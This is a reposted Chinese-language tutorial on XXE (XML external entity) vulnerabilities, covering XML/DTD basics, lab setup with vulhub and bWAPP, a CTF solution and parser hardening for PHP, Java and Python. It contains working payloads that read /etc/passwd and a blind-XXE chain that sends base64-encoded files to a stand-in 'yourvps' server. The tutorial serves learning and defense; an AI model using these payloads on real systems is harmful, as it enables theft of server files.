深入淺出-XXE漏洞


出品|MS08067實驗室(www.ms08067.com)

本文作者:可樂(Ms08067實驗室Web小組成員)

前言

寫這篇的主要目的是因為很多CTFer還有一些安全人員不是很清楚xxe漏洞,還有在面試當中,xxe漏洞也經常被問到,所以就寫這么一篇文章來學習xxe漏洞. 本篇會結合一些靶場還有CTF來進行講解

基礎

首先來介紹一下XML和DTD
XML被設計用來傳輸和存儲數據,這里提一下xml與html的區別:HTML 旨在顯示信息,而 XML 旨在傳輸信息
而DTD定義 XML 文檔的合法構建模塊,它使用一系列的合法元素來定義文檔結構,DTD 可被成行地聲明於 XML 文檔中,也可作為一個外部引用。

XML和DTD基礎

一個 XML 文檔實例:

<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

第一行是 XML 聲明。它定義 XML 的版本 (1.0) 和所使用的編碼 (ISO-8859-1 = Latin-1/西歐字符集)。
接下來加上DTD進行聲明

內部的 DOCTYPE 聲明

<?xml version="1.0"?>
<!DOCTYPE note [          //定義此文檔是 note 類型的文檔。
  <!ELEMENT note (to,from,heading,body)> //定義 note 元素有四個元素:"to、from、heading,、body"
  <!ELEMENT to      (#PCDATA)>  //定義 to 元素為 "#PCDATA" 類型
  <!ELEMENT from    (#PCDATA)>   //定義 from 元素為 "#PCDATA" 類型
  <!ELEMENT heading (#PCDATA)>  // heading 元素為 "#PCDATA" 類型
  <!ELEMENT body    (#PCDATA)>  //定義 body 元素為 "#PCDATA" 類型
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

DTD元素
在一個 DTD 中,元素通過元素聲明來進行聲明。
聲明一個元素
在 DTD 中,XML 元素通過元素聲明來進行聲明。元素聲明使用下面的語法:
只有 PCDATA 的元素
只有 PCDATA 的元素通過圓括號中的 #PCDATA 進行聲明:

<!ELEMENT 元素名稱 (#PCDATA)>
例子:
<!ELEMENT from (#PCDATA)>

帶有任何內容的元素
通過類別關鍵詞 ANY 聲明的元素,可包含任何可解析數據的組合:

<!ELEMENT 元素名稱 ANY>
例子:
<!ELEMENT note ANY>

帶有子元素(序列)的元素
帶有一個或多個子元素的元素通過圓括號中的子元素名進行聲明:

<!ELEMENT 元素名稱 (子元素名稱 1)>
或者

例子:
<!ELEMENT note (to,from,heading,body)>

聲明只出現一次的元素
<!ELEMENT 元素名稱 (子元素名稱)>
例子:
<!ELEMENT note (message)>
上面的例子聲明了:message子元素必須出現一次,並且必須只在 "note"元素中出現一次。

外部文檔聲明

<!DOCTYPE 根元素 SYSTEM "文件名">
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

這個 XML 文檔和上面的 XML 文檔相同,但是擁有一個外部的 DTD
這是包含 DTD 的 "note.dtd" 文件:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

DTD實體聲明

重點介紹實體聲明
內部實體聲明
<!ENTITY 實體名稱 "實體的值">
DTD 例子:
<!ENTITY writer "Bill Gates">
將writer 聲明為”Bill Gates”,copyright 聲明為 “Copyright W3School.com.cn”
XML 例子:
<author>&writer;&copyright;</author>
注釋: 一個實體由三部分構成: 一個和號 (&), 一個實體名稱, 以及一個分號 (😉。

<!DOCTYPE foo [
    <!ENTITY xxe  "sec test" >
]>
<root>
    <name>&xxe;</name>
</root>

外部實體聲明
外部實體引用支持通過協議,來動態的獲取值
<!ENTITY 實體名稱 SYSTEM "URI/URL">
例子:
DTD 例子:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:
<author>&writer;&copyright;</author>
可以通過file://協議來讀取文件內容

<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
    <name>&xxe;</name>
</root>

不同語言支持的協議不同

參數實體
<!ENTITY % 實體名稱 "實體的值">
or
<!ENTITY % 實體名稱 SYSTEM "URI">

參數實體只能在DTD中申明,DTD中引用,它們使用百分號(%)而不是與字符(&),可以是命名實體或外部實體。,能夠解析實體或者uri,進行xml解析,進而獲得其中的變量
注:一般用於Bline XXE

<!ENTITY % style "2333">
<!ENTITY % test "%style">

公共實體聲明
<!ENTITY 實體名稱 PUBLIC "public_ID" "URI">

XXE漏洞

當允許引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。
xxe漏洞觸發的點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進行過濾,導致可上傳惡意xml文件

如果xml能夠被解析,比如輸入

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is nMask">]>
<root>&name;</root>

如果頁面輸出了my name is nMask,說明xml文件可以被解析。

接下來測試是否支持DTD引用外部實體而導致xxe注入

<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://localhost/index.html">
%name;
]>

可通過查看自己服務器上的日志來判斷,看目標服務器是否向你的服務器發了一條請求index.html的請求。
接下里安裝漏洞環境
本人在centos下,安裝docker后
git clone https://github.com/vulhub/vulhub.git
進入/vulhub/vulhub/tree/master/php/php_xxe
輸入pip install docker-compose即可
環境啟動后,訪問http://your-ip:8080/index.php即可看到phpinfo
www目錄包含四個文件

├── dom.php # 示例:使用DOMDocument解析body
├── index.php #phpinfo()
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement類解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函數解析body

SimpleXMLElement.php

<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);  //解析xml
echo $xml->name;

dom.php

<?php
$data = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($data);
print_r($dom);

simplexml_load_string.php

<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;

首先測試是否能夠解析xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<root>
<name>&writer;&copyright;</name>
</root>

內部實體

外部實體

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

參數實體
當沒有回顯即沒有這個語句的時候echo $xml->name;該怎么辦呢
這個時候我們可以利用參數實體,通過發起http請求來攻擊。

先進行參數實體聲明看看~
在遠程服務器新建xxe.dtd文件,內容為:
<!ENTITY evil SYSTEM "file:///etc/passwd" >
xml內容為

<!DOCTYPE foo [
    <!ENTITY  % xxe SYSTEM "http://ip/xxe.dtd" >
    %xxe;
]>
<root>
    <name>&evil;</name>
</root>

相當於:

<!DOCTYPE foo [
    <!ENTITY  % xxe "<!ENTITY evil SYSTEM 'file:///etc/passwd'>" >
    %xxe;
]>
<root>
    <name>&evil;</name>
</root>

如果目標服務器沒有回顯,就只能用 Blind XXE 了。原理就是帶着獲取的文件源碼以 get 參數或其他形式去訪問我們的服務器,然后在日志里就可以找到我們要獲取的內容了。

先在我的服務器建一個xxe.xml文件,內容為:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;'>">

接下來讀取內容,我們提交

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>

整個的調用過程如下:解析時%dtd引入xxe.xml,之后%all引入send的定義,最后引用了實體send,把%file文件內容通過一個http請求發了出去。注意需要把payload經過url編碼。

然后在服務器的log中看到base64加密后的內容(/var/log/httpd/access.log)

使用bWapp學習

環境搭建:
vulstudy是專門收集當下流行的漏洞學習平台,現在用它來一鍵搭建bWapp
下載vulstudy項目

git clone https://github.com/c0ny1/vulstudy.git
cd vulstudy/bWapp
docker-compose up -d #啟動容器

注:第一次創建應事先訪問/install.php來創建數據庫
安裝好之后,Choose your bug 選擇 XML External Entity Attacks (XXE)
先抓包

xxe-1.php頁面在向xxe-2.php頁面傳輸數據過程中,其中的xml數據是可控的,也就是說可以構造惡意數據進行傳輸,添加一個外部實體在XML數據中進行實體調用,從而進行XXE攻擊。

CTF

http://web.jarvisoj.com:9882/
獲得目標機器/home/ctf/flag.txt中的flag值。
將Content-Type的值改為application/xml,然后提交xml發現能夠被解析

於是修改payload為:

<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt" >
]>
<root>
    <name>&xxe;</name>
</root>

防御
禁用外部實體

php
libxml_disable_entity_loader(true);

java
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

參考

https://blog.csdn.net/com_ma/article/details/73277535
https://github.com/c0ny1/xxe-lab
https://www.freebuf.com/articles/web/126788.html
https://www.freebuf.com/column/188849.html
https://www.ibm.com/developerworks/cn/xml/x-entities/



轉載請聯系作者並注明出處!

Ms08067安全實驗室專注於網絡安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java代碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術干貨,從零開始、以實戰落地為主,致力於做一個實用的干貨分享型公眾號。
官方網站:https://www.ms08067.com/

掃描下方二維碼加入實驗室VIP社區
加入后邀請加入內部VIP群,內部微信群永久有效!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM